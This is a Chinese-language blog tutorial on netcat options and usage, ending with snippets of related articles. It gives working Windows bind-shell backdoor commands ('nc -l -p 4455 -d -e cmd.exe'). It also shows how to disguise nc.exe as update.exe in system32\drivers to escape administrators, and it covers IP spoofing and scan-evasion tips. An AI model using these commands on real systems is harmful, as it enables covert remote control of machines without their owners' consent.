網路安全中的「瑞士軍刀」 nc

2021-07-28 22:19:03 字數 3174 閱讀 1902

在入侵中它是最經典的工具之一 ,netcat被所有的網路安全愛好者和研究者稱之為瑞士軍刀,通過名字大家就能知道他的功能足夠豐富。

nc的全稱為netcat,它能夠建立並接受傳輸控制協議(tcp)和使用者資料報協議(udp)的連線,netcat可在這些連線上讀寫資料,直到連線關閉為止。它可以通過手工或者指令碼與應用層的網路應用程式或服務進行互動。從技術上來講,netcat並不能產生udp連線,因為udp是一種無連線的協議。netcat沒有圖形介面,很粗糙,很原始。

nc的命令列

nc的基本命令列形式是 nc [options] host ports,其中host是要掃瞄的主機名或ip位址,ports要麼是乙個單獨的埠,要麼是乙個埠範圍(用m-n的形式指定),要麼是一系列用空格隔開的單個埠。

-d 只對windows作業系統有用,該選項使netcat以隱蔽模式工作,從而脫離ms-dos命令提示符下環境執行,使得nc不需要保持開啟命令視窗便可在監聽模式下執行,也可以幫助黑客很好地隱藏監聽netcat例項而不被系統管理員發現。

-e 如果netcat使用gaping_security_hole選項進行編譯,那麼只要某人在net後台所監聽的任何埠上建立連線,該netcat都將執行,且客戶端的netcat會通過管道將i/o傳輸到在別處監聽的另乙個netcat例項中。使用這個選項非常危險,除非你對nc相當了解,起碼知道你自己在做什麼。這是在系統中建立後門shell的乙個非常快捷且容易的方法。

-i 延時間隔,表示在兩次資料傳送之間nc等待的時間。例如:當經過管道傳輸乙個檔案到nc的時候,在傳輸輸入的下一行之前,nc將等待的秒數。當使用nc對一台主機的多個埠之間進行操作時,在切換到下乙個埠之前,nc等待的秒數。這樣可以使黑客在進行資料傳輸或對乙個服務進行攻擊的時候更加隱蔽,也可以幫助你的埠掃瞄不被入侵檢測系統和系統管理員發現。

-g這個選項具有欺騙性。nc支援loose source routing(鬆散源路由)。你可以在命令列中指定多達8個-g選項來強迫nc流量經過特定的ip位址,這在你為流量設定偽造的源ip位址時,可以利用這個方法達到通過防火牆的過濾器或者允許訪問主機列表,希望接收到從主機返回的響應。

-g該選項讓使用者在-g選項所指定的路由列表中指定的乙個位址作為當前的下一路由,由於ip位址為4位元組大小(ipv4),所以這個引數總是4位元組的倍數;例如,4代表路由表中的第乙個ip位址,8代表第二個ip位址,依次類推。這在偽造部分源路由表使得報文看起來相當的有用。在進行欺騙和源路由時,這個功能有助於遮蔽你的位置,但也不一定能接收到響應報文,因為響應報文將經過由偽造的ip位址反路由回來。

-l 該選項切換nc的監聽模式。此選項必須與-p選項一起使用以告訴nc繫結某個指定的tcp埠並等待到來的連線。若換成-u選項,則應使用udp埠而非tcp埠。

-l 該選項在windows版本中有用,當乙個連線被關閉後,使用相同的命令列選項進行重啟監聽模式,即使此時初始的連線已經結束,nc也能在不需要使用者干涉的情況下接收後面新的連線。與-l一樣,必須與-p同時使用。

-n 該選項告訴我們nc不做任何主機名查詢的工作。

-0對資料執行一次十六進製制轉儲(hex dump )並將其儲存在hexfile中。命令nc-o hexfile將把雙向通訊的資料記錄下來,在每行的開始處會有乙個「<"或">」用來分別指示是進入資料還是外出資料。如果只想得到對進入資料的十六進製制轉儲,可以使用 nc -ohexfile命令。

-p讓使用者指定乙個nc應使用的本地埠號。當通過-l或-l選項來使用監聽模式的時候,這個引數是必需的。如果沒有為外出連線指定這個引數,則與大多數其他tcp或udp客戶程式的做法一樣,nc將使用系統分配給他的任何埠。

-r 該引數使nc可以隨機選擇本地和遠端埠。當使用nc在系統中範圍很大的一批埠上獲取資訊時,要想混合源埠和目標埠的順序看起來不怎麼象埠掃瞄,這個選項是很有用的。當這個選項與-i選項和乙個足夠大的間隔結合使用的時候,在不被注意的埠掃瞄成功機率能得到很大提公升。

-s 指定nc建立連線時所使用的ip位址,該選項允許黑客做一些工作,它允許黑客隱藏他們的ip位址或假冒他人的ip位址,但是要得到路由到他們所欺騙的位址的任何資訊,都需要使用-g源路由選項。其次,當處於監聽模式時,大多數情況下都可以與乙個已經監聽的服務「預先繫結」,所有tcp和udp服務都繫結到某個埠。

-t 如果使用telnet選項編譯,nc就可以與telnet伺服器進行telnet選項協商,雖然它的響應是毫無意義的資訊,但可以通過該狀態看到連線23埠的資訊。

-u nc使用udp而非tcp,在客戶模式和監聽模式下都起作用。

-v 控制nc將要做的事情達到的程度,如使用nc -v,那麼nc將僅吐出它所接收到的資料,乙個單獨的-v可以知道它連線或繫結的位址是否有問題發生,第2個-v可以讓nc在乙個連線結束的時候讓你知道這個連線總共傳送和接收了多少資料。

nc的具體使用

c:\nc.exe -l -p 4455 -d -e cmd.exe 可以很好的隱藏乙個netcat後門。

c:\nc.exe -p 4455 -d -l -e cmd.exe 這個命令可以讓黑客利用netcat重新返回系統,直到系統管理員在任務管理器中看見nc.exe在執行,從而發現這個後門,我們一樣可以把它做的更加隱蔽,

c:\move nc.exe c:\windows\system32\drivers\update.exe

c:\windows\systeme32\drivers\update.exe -p 4455 -d -l -e cmd.exe

系統管理員可能把特權附屬於一些無害的程式,如update.exe等,黑客也可以隱藏命令列。

c:\windows\systme32\drivers\update.exe

cmd line: -l -p 4455 -d -l -e cmd.exe

c:\>

nc -l - p 80 監聽80埠

nc -l -p 80 >c:\log.dat 監聽80埠,並把資訊記錄到log.dat中

nc -v -l -p 80 監聽80埠,並顯示埠資訊

nc -vv -l -p 80 監聽80埠,顯示更詳細的埠資訊

nc -l -p 80 -t -e cmd.exe監聽本地的80埠的入站資訊,同時將cmd.exe重定向到80埠,當有人連線的時候,就讓cmd.exe以telnet的形式應答。當然這個最好用在控制的肉雞上。

nc -v ip port 掃瞄某ip的某個埠

nc -v -z ip port-port掃瞄某ip的埠到某埠

nc -v -z -u ip port-port掃瞄某ip的某udp埠到某udp埠

本文**原作者 子明

瑞士軍刀 NC用法

瑞士軍刀 nc.exe 引數說明 h 檢視幫助資訊 d 後台模式 e prog程式重定向,一但連線就執行 危險 i secs延時的間隔 l 監聽模式,用於入站連線 l 監聽模式,連線天閉後仍然繼續監聽,直到ctr c n ip位址,不能用網域名稱 o film記錄16進製制的傳輸 p 空格 埠 本地...

nc瑞士軍刀的引數

d 後台模式 e prog 程式重定向,一旦連線,就執行 危險 g gateway source routing hop point s up to 8 g num source routing pointer 4,8,12,h 幫助資訊 i secs 延時的間隔 l 監聽模式,用於入站連線 l 連...

NC瑞士軍刀的具體使用方法

nc的使用方法 netcat被譽為網路安全界的 瑞士軍刀 相信沒有什麼人不認識它吧.乙個簡單而有用的工具,透過使用tcp或udp協議的網路連線去讀寫資料。它被設計成乙個穩定的後門工具,能夠直接由其它程式和指令碼輕鬆驅動。同時,它也是乙個功能強大的網路除錯和探測工具,能夠建立你需要的幾乎所有型別的網路...